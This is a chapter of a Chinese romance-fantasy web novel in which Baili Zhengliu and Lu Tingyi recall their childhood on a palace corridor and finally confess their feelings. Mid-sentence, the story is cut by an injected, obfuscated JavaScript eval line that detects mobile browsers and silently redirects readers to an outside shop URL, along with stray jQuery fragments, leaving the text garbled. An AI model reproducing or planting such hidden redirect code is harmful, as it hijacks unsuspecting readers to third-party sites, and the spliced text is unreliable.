不等陆停漪回答,姜却先开了口:“世子殿下,你心里有数吗?大敌当前……”
百里争流还没反击,一只素白的手,拉住了姜却的衣袖。
红色的袖口,更衬得肤色莹莹。
几个称呼在嘴里来回打转,齐圆嘴巴张了张,最终什么也没喊,干巴巴地说道:“没关系,争流的事很重要,让他们处理吧……还有、我们也有事情要做……”
谢天谢地,百里争流总算开窍了,千万不能被打扰。
莹白的手指一触即走,却勾住了姜却的眼神。
“我们……要去做什么?”
“再去看看欢喜,虽然齐康说,我和停漪藏在水缸就万事大吉,但我总觉得不放心,恰好羽衣术还能乔装易容,既然要假装成鲛人,最好逼真一些。你和我、一起过去吧……陆停漪,怎么样?”
齐圆匆忙别过头。
“嗯,也好,你真谨慎。”
不久之前,她们的关系还冻得硬邦邦的,如今却能互相打掩护了。
姜却不再废话,乖乖跟在齐圆身后,折返回柴房。
“那、我们走这边吧。”
百里争流指着另一个方向,是通往后院的长廊。
“好。”
并肩走在长廊上,不可避免让他想到了从前。
江东王府内,那条连接他们住所的回廊,他们手牵着手,不知走过了多少次。
但很奇怪,对于那条回廊的模样,他始终记得模模糊糊,有多少根廊柱?上面雕了什么纹样?
回忆起来,眼前蒙上了一层薄薄的雾气。
两人决裂后,他踏上回廊时,总是步履匆匆,仿佛只要走得够快,内心的懊悔和恐惧,就追不上他。
而在耳鬓厮磨的儿时,他的眼睛被陆停漪塞得满满的,再也注意不到其他。
她的身高,刚刚好到他的肩膀,这么多年未曾变过。
走在路上时,像风铃一样叮叮当当,说个不停,一些极为无聊的小事,从她嘴里转了一圈,也会变得妙趣横生。
只有吃东西时,她才会安静。
一只手牢牢攥住他的手,另一只手托着糕点小口小口吃着,表情很是虔诚。
连她鼻子皱起的纹路,他都记得一清二楚。
怎么会忘呢?
如果没有她陪在身边,他只能独自守在江东王府,日升月落,日复一日盼着父母狩猎回来。
百里争流无声地笑了,余光瞥向一旁,陆停漪和回忆中一样,侧脸的轮廓竟然分毫未变。
前些日子,他们还只能一前一后走着,他沮丧地认为,那一步之遥,这辈子都跨不过去了,如今他们却并肩而行。
“嗯?”陆停漪敏锐地回头,“你笑什么?”
两人的目光撞个满怀。
“啊,想到了小时候,和你走在回廊时,你要么说个不停,要么吃个不停,每次没过几天,脸都要圆一圈,我都想求你别吃了……”
说着,他嘴角的笑意更深了。
“……”陆停漪微抬下巴,“你肯定记错了,我这人打小就矜持。”
“矜持?”百里争流笑出声,“是谁在长廊上抱着我哭?怎么都不撒手……”
他没说完,笑意渐渐淡了。
“争流。”原本吃得很开心的陆停漪,突发奇想问道,“我们是不是可以永远这样在一起?”
那时的他,却想到了母亲赵素的话。
“争流,这世上不存在什么永恒,所有的一切,都顺应自己的时序,月盈月缺、春来秋往……凡人若是太过执着,只会深陷无边的痛苦。”
年幼的他,尚不能理解其中深刻的道理。可他敬爱母亲,对母亲的话奉若圭臬。
他很想应允陆停漪,最终却只能说道:“停漪,这世上没有‘永远’,我们自然不能永远在一起。”
陆停漪先是呆呆地看了他一会儿,然后“哇”地哭了出来,手里的柿饼调到地上。
他被吓到了,忙拿出帕子给她擦眼泪,笨嘴拙舌地哄劝着,可她的眼泪却越擦越多,两人僵持在长廊上。
直到这场闹剧,惊动了他的父亲百里越。
父亲得知事情的始末后,乐得哈哈大笑,一把将陆停漪抱了起来:“别哭,我替我的傻儿子答应你,你们绝对可以永远在一起!”
“真的?”她打着哭嗝,胡乱抹着眼泪,“你是江东王,你可不能骗我哦?”
“真的啊,当然是真的。”
陆停漪就是这么好哄,哭累了,就在父亲怀里沉沉睡去了。
换做他与父亲并肩而行。
“争流,我知道,你是受了你母亲的影响,但是……”
他仰头,父亲逆着光,他看不真切。
因为父亲死得太过惨烈,他鲜少再敢回想有关他的事,后半截话也记不清了。
“啊,那都是什么时候的事儿了,你别总翻旧账……”陆停漪咳嗽一声,问道,“争流,你想说什么?”
长廊的尽头是花圃,万物凋敝的初冬,四处空空的,连灯光都照不进来,只剩下彼此。
已经做好准备了,这次不管是谁打扰他,他都不会放过,包括他自己。
“停漪,同心圆是你的名字,你都不记得了吗?”
百里争流没想到自己开口第一句是抱怨,而且声音是不受自己控制的委屈。
“难道过去的事,只有我分毫不落记得吗?”
越说越上劲了,委屈之意浓得化不开。
他身子微倾,凤眼热烈地看着她,氅衣毛茸茸的,看上去狗里狗气,像极了小流。
心软了软,陆停漪伸出手指,点住他的额头。
“倒打一耙啊你……将心比心啊世子殿下,你有多憋屈,我比你更憋屈呢……”
原来她都记得,是故意激他的。
百里争流眉眼舒展了,握住抵在他额头的手。
两人贴得很近,夜风堪堪从他们中间挤过。
掌心贴着她细腻的肌肤时,他突然回想起了父亲那后半截话。
明明,那句话他也说过的。
十年前,赵墨第一次出手,先夺走了陆凝的性命,陆停漪亲眼目睹了母亲的死亡。
她被送到江东王府时,烧得不省人事,颠三倒四说些胡话。
那时他从早到晚守在一旁,看着奄奄一息的她,不知不觉就说了出来。
“一个人的所有,也能算永恒。”
他仍低垂着头,双手捧着她的手:“停漪,很抱歉,我回答得太迟了,我想永
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934373|209757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远陪在你身边,请收下我微不足道的所有。”
百里争流肯定不知道,他的样子有多虔诚,有那么一瞬间,她忘记了两人之间所有的沟壑和伤害。
尘埃落定。
陆停漪以为得偿所愿后会欣喜若狂,真到了这一刻,却只有水到渠成的淡淡喜悦。
她做了一件想做很久的事。
陆停漪跳了起来,两只手按在他脸颊上,用力揉着:“哼,你终于还是投降了,最后你还是我的。”
百里争流毫无反抗,甚至俯下身子迁就她,任由一张俊美的脸被揉搓变了形,以此掩盖自己快要把脸笑烂了的愉悦。
“你把我当小流了……”他从嘴里挤出一句,“还没告诉我你的回答呢……”
“我的回答是……”她两眼弯弯,“我想吃一辈子的柿饼。”
听她亲口应允,与心照不宣的默契截然不同。
那是一种落地的踏实感,难怪陆停漪那么想听他说出来,他又欠了她一次。
“说到柿饼……有一年,巫祝大人可是给丢到屋外了,怕是没吃上吧。”
百里争流咬咬舌尖,他从不知道自己竟然这般斤斤计较。
“哈,这都要怪世子殿下嘴太硬,非要在齐圆面前说些不该说的,很不巧被我听到咯。”
眼一眯,两根手指毫不留情拧着他结实的手臂:“以后少提这事。”
原来又是他自作自受。
百里争流摸摸鼻子,乖乖应了下来。
“还有一件事。”陆停漪弹弹他的脑门,“你是不是身体不舒服?总觉得你摸起来冷冷的。”
“我没事的。”
大概心气顺了,胸口的粘滞缓和了许多,百里争流是真觉得自己没事了,他想赶紧拿着刀一通狂砍,料想这次定能斩断那黑色绳套。
“真的?”
陆停漪又摸了摸他的脸,确实回暖了,心里稍安:“好。一个时辰也不剩多少,我们先去和齐圆姜却会合。”
她心里还是有些怀疑,若不是登船在即,非得好好审一审。
“嗯。”百里争流很自然牵起了她的手。
如果姜却看到,又该发疯了。陆停漪耸耸肩,无所谓,有时间再解释吧,说不定还能再拿几根红烛。
两人回到柴房,齐圆和姜却守在门口,他们一人一个角,很有默契地保持距离。
姜却心不在焉,也没留意两人衣袖下交叠在一起的手。
陆停漪问道:“怎么样?我们能乔装成鲛人吗?”
“鳞片的光彩可能会差些意思,其余的都很简单。”
“也够用了。”
“那我们去找齐康?”
“好。”
四人朝齐康房间走去,明明万事俱备,陆停漪却总觉得差了些什么。
是小稻草人,他们至今不知道效用,一无所知又谈何防范。
齐圆的羽衣术、伪装鲛人……
心念一闪,陆停漪三两步凑到齐圆身边,耳语几句,随后问道:“怎样,你能做到吗?”
齐圆先是一愣,随后神秘莫测地笑了:“当然能。陆停漪,真有你的,齐康遇到你,算他倒霉。”
百里争流和姜却不明所以,异口同声问道:“你们在说什么?”